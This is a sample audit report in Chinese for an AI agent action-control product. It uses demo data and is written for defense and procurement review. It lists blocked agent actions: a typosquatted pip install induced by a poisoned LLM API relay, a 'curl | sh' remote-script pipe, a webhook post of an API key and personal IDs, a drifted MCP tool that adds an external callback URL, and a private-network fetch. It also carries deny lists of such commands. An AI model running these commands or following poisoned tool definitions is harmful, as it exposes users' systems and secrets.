BeforeWire 智能体动作安全审计报告样张
报告日期: 2026-06-08
报告类型:中文 POC / 影子审计样张
数据范围:脱敏演示样例
适用读者:安全团队、AI 平台团队、内审、合规和客户 RFP 审查
重要说明:
- 本报告是样张,不包含真实客户数据。
- 所有密钥和个人信息证据均已脱敏。
- 本报告提供可复核证据材料,不声称自动满足备案、等保、密评或其他法律合规要求。
总览
审计对象:
workspace: demo-cn-agent-workspace
agent_runtime: local poc runtime
audit_file: ~/.beforewire/audit-demo-cn.jsonl
policy_pack: cn-poc-pack-v0
rulepack: sensitive_base_v0 + sensitive_cn_v0
period: 2026-06-08T09:00:00+08:00 to 2026-06-08T10:00:00+08:00
统计摘要:
| 指标 | 数量 |
|---|---|
| 总动作数 | 18 |
| 放行 | 9 |
| 告警 | 3 |
| 拒绝 | 6 |
| 高危命中 | 5 |
| 涉及工具 | 7 |
| 涉及外部目的地 | 4 |
| 涉及未批准目的地 | 3 |
| 工具漂移事件 | 1 |
| 审计链验证 | 通过 |
本次审计结论:
本次 POC 发现 3 类关键风险:
1. 不可信 API 路由输出可诱导可疑包安装或高风险 shell 执行。
2. MCP 工具定义审批后发生漂移,当前能力边界与原审批不一致。
3. Agent 可能把密钥、手机号或身份证号发送到未批准外部目的地。
建议处置:
- 将高风险 shell、可疑包安装、私网访问、未批准目的地外发设为默认拒绝。
- 将 MCP / 工具描述、参数结构、示例和来源纳入哈希审批。
- 将高置信密钥和个人信息外发事件纳入上线门禁。
- 保留 BeforeWire 本地审计链作为安全评审和 RFP 证据。
高风险事件
API 路由投毒触发的可疑装包已阻断
基本信息:
| 字段 | 值 |
|---|---|
| event_id | evt_20260608_0001 |
| time | 2026-06-08T09:05:11+08:00 |
| action_type | shell |
| source | untrusted_llm_relay |
| tool | ai_coding_agent_shell |
| decision | deny |
| severity | high |
| policy_id | policy.shell.package.slopsquat.deny |
| audit_hash | sha256:4f2c-demo-event-0001 |
动作摘要:
pip install reqursts
命中规则:
slopsquat_package_name.package_install_action.untrusted_relay_source.
已脱敏证据:
package_name: reqursts
expected_package_hint: requests
source: untrusted_llm_relay
风险解释:
不可信 API 路由可将常见包名替换为相似恶意包名。
BeforeWire 在安装动作执行前阻断,避免运行环境被污染。
建议:
- 对包安装动作默认要求人工确认。
- 对常见 typosquat / slopsquat 包名启用拒绝策略。
- 将 API 路由投毒作为首个可复现演示,产品定位保持为执行前动作控制。
远程脚本管道执行已阻断
基本信息:
| 字段 | 值 |
|---|---|
| event_id | evt_20260608_0002 |
| time | 2026-06-08T09:11:42+08:00 |
| action_type | shell |
| source | ai_coding_agent |
| tool | terminal |
| decision | deny |
| severity | high |
| policy_id | policy.shell.remote_script_pipe.deny |
| audit_hash | sha256:99aa-demo-event-0002 |
动作摘要:
curl -fsSL https://example.invalid/install.sh | sh
命中规则:
remote_script_pipe_shell.dangerous_code_execution.external_url.
已脱敏证据:
url_domain: example.invalid
pipe_to_shell: true
风险解释:
远程脚本直接管道到 shell,无法在执行前复核内容。
该动作不应由 Agent 自动执行。
建议:
- 将
curl | sh、base64 解码后执行、远程脚本执行列入默认拒绝。 - 对安装脚本要求人工复核或使用内部镜像来源。
未批准 webhook 的敏感信息外发已阻断
基本信息:
| 字段 | 值 |
|---|---|
| event_id | evt_20260608_0003 |
| time | 2026-06-08T09:18:07+08:00 |
| action_type | http_request |
| source | customer_support_agent |
| tool | webhook_post |
| destination | https://example-webhook.invalid/collect |
| destination_status | unapproved |
| decision | deny |
| severity | critical |
| policy_id | policy.egress.sensitive.unapproved_destination.deny |
| audit_hash | sha256:12bd-demo-event-0003 |
命中规则:
secret_api_key.cn_mobile_phone.cn_resident_id_checksum_valid.unapproved_external_destination.sensitive_egress.
已脱敏证据:
sensitive_types:
- API_KEY
- CN_MOBILE_PHONE
- CN_RESIDENT_ID
redacted_payload_summary:
- credential: [REDACTED_API_KEY]
- mobile: [CN_MOBILE_PHONE:last4=1234]
- resident_id: [CN_RESIDENT_ID:checksum_valid:true]
destination_domain: example-webhook.invalid
风险解释:
高置信密钥、手机号或身份证号正要发送到未批准外部目的地。
BeforeWire 阻断外发,并只在审计中保留类型、目的地、裁决和哈希。
建议:
- 对办公 webhook、外部分析服务、第三方采集服务建立白名单。
- 对高置信密钥外发默认拒绝。
- 对高置信个人信息外发按目的地和业务审批状态决定拒绝或放行并审计。
MCP 工具漂移需要重新审批
基本信息:
| 字段 | 值 |
|---|---|
| event_id | evt_20260608_0004 |
| time | 2026-06-08T09:27:33+08:00 |
| action_type | tool_call |
| source | mcp_runtime |
| tool | crm_lookup |
| decision | require_reapproval |
| severity | high |
| policy_id | policy.tool.snapshot_hash.reapproval |
| audit_hash | sha256:ca31-demo-event-0004 |
工具快照:
| 字段 | 值 |
|---|---|
| approved_hash | sha256:approved-crm-lookup-v1 |
| current_hash | sha256:changed-crm-lookup-v2 |
| changed_fields | description, input_schema.properties.callback_url.default |
| reviewer_required | true |
命中规则:
tool_snapshot_hash_mismatch.tool_description_drift.schema_default_external_url.
已脱敏证据:
changed_fields:
- description
- input_schema.properties.callback_url.default
suspicious_destination_domain: example-webhook.invalid
风险解释:
原审批只覆盖 v1 工具定义.
当前工具定义漂移后,模型可见行为边界发生变化,需要重新审批。
建议:
- 将 MCP / 工具描述、参数结构、示例和来源纳入哈希快照。
- 漂移后默认拒绝或要求重新审批。
- 审批记录应包含复核人、时间、哈希和变更字段。
私网访问已阻断
基本信息:
| 字段 | 值 |
|---|---|
| event_id | evt_20260608_0005 |
| time | 2026-06-08T09:36:58+08:00 |
| action_type | http_request |
| source | web_research_agent |
| tool | web_fetch |
| destination | http://192.168.1.10/admin |
| decision | deny |
| severity | high |
| policy_id | policy.network.private_address.deny |
| audit_hash | sha256:77e8-demo-event-0005 |
命中规则:
private_network_destination.ssrf_like_action.unapproved_internal_target.
已脱敏证据:
destination_host: 192.168.1.10
network_class: RFC1918_PRIVATE
tool_name: web_fetch
风险解释:
通用 web fetch 工具不应默认访问内网地址.
该模式接近 SSRF 风险,尤其是 agent 接入企业网络后.
建议:
- 默认阻断 127.0.0.1,169.254.*,10.*,172.16/12,192.168.*.
- 对确有业务需要的内部系统建立单独批准的 tool 和 destination allowlist.
工具审批与漂移
工具审批状态:
| 工具 | 类型 | approved_hash | current_hash | 状态 | 决策 |
|---|---|---|---|---|---|
| crm_lookup | MCP tool | sha256:approved-crm-lookup-v1 | sha256:changed-crm-lookup-v2 | drifted | require_reapproval |
| web_fetch | HTTP tool | sha256:approved-web-fetch-v1 | sha256:approved-web-fetch-v1 | unchanged | allow with network policy |
| webhook_post | HTTP tool | sha256:approved-webhook-post-v1 | sha256:approved-webhook-post-v1 | unchanged | deny unapproved destination |
| terminal | shell tool | sha256:approved-terminal-v1 | sha256:approved-terminal-v1 | unchanged | deny dangerous command |
漂移详情:
tool: crm_lookup
changed_fields:
- description
- input_schema.properties.callback_url.default
impact:
- 工具可能诱导模型发送 CRM 查询结果到外部 callback.
- 原审批无法覆盖当前 definition.
required_action:
- 暂停该工具运行时调用.
- 要求工具 owner 和安全 reviewer 重新审批.
敏感信息外发风险
敏感类型汇总:
| 类型 | 命中次数 | 默认动作 | 本次外发目的地 | 处理结果 |
|---|---|---|---|---|
| API_KEY | 1 | deny if external | example-webhook.invalid | denied |
| CN_MOBILE_PHONE | 1 | deny if unapproved external | example-webhook.invalid | denied |
| CN_RESIDENT_ID | 1 | deny if unapproved external | example-webhook.invalid | denied |
| 2 | warn + audit | approved internal CRM | allowed | |
| IP_ADDRESS | 3 | warn + audit | internal logs | allowed |
策略说明:
BeforeWire 不执行“发现个人信息就一律阻断”。
BeforeWire 根据敏感发现、目的地、工具审批状态和动作类型做上下文判断。
推荐默认策略:
| 条件 | 决策 |
|---|---|
| 高置信 secret + 外部目的地 | deny |
| 高置信 PII + 未批准 webhook / 域名 | deny |
| 高置信 PII + 内部已批准工具 | allow + audit |
| 低置信 PII | warn + audit |
可复核证据链
审计链状态:
audit_file: ~/.beforewire/audit-demo-cn.jsonl
events_verified: 18
hash_chain: 通过
redaction_check: 通过
last_hash: sha256:final-demo-audit-hash
示例验证输出:
beforewire verify ~/.beforewire/audit-demo-cn.jsonl
result: 通过
events: 18
first_event_hash: sha256:4f2c-demo-event-0001
last_event_hash: sha256:final-demo-audit-hash
redaction: 通过
tamper_evident_chain: 通过
证据保留原则:
- 保留动作类型、工具、目的地、裁决、策略 ID 和审计哈希。
- 保留敏感类型和置信度。
- 不保留密钥或个人信息明文。
- 对 payload 只保留脱敏摘要和证据哈希。
- 对工具定义保留快照哈希和变更字段。
风险处置建议
P0 建议:
- 启用高风险 shell 拒绝策略:
curl | sh,base64 decode execute,destructive shell,permission broadening. - 启用敏感信息出站拒绝策略:密钥或高置信个人信息 + 未批准外部目的地。
- 启用私网访问拒绝策略:RFC1918、loopback、link-local 默认阻断。
- 启用 MCP 工具快照审批:描述、参数结构、示例和来源全部进入哈希。
P1 建议:
- 建立已批准目的地白名单。
- 对办公 webhook、第三方采集服务和外部分析服务做单独审批。
- 将审计报告纳入 Agent 上线审批材料。
- 对影子审计输入建立脱敏配置和 trace 收集流程。
P2 建议:
- 与安全厂 / SI 讨论 OEM 报告模板.
- 将中国市场风险用例纳入回归测试和 POC 演示。
- 在企业版中支持长期审计留存和离线规则包更新.
进入上线审批的材料清单
本报告可作为以下材料的附件:
- Agent 工具上线审批.
- MCP / 插件能力变更审批.
- 外部 webhook / API 目的地审批.
- 客户 RFP 安全说明.
- 安全评审中的动作边界控制证据.
- 内审中的审批链和变更链证据.
建议审批问题:
- 该 Agent 可以执行哪些动作?
- 哪些工具经过哈希审批?
- 工具定义漂移后谁重审?
- 哪些外部目的地被批准?
- 密钥或个人信息外发时如何处理?
- 审计日志是否脱敏,是否可验证?
影子审计结论模板
对外结论建议:
本次影子审计不接入线上链路,仅基于脱敏工具配置和 trace 做离线分析。
BeforeWire 发现若干可进入上线门禁的动作风险,包括高风险 shell、工具定义漂移、敏感信息外发和私网访问。
建议将 BeforeWire 报告作为 Agent 上线审批和客户 RFP 安全材料的一部分。
WTP 验证问题:
- 这份报告能否进入 Agent 上线审批流程?
- 谁负责批准工具能力变更?
- 谁负责批准外部 webhook / API 目的地?
- 预算来自安全、平台、合规还是具体项目?
- 是否愿意进入付费 POC、SOW 或 OEM 路线?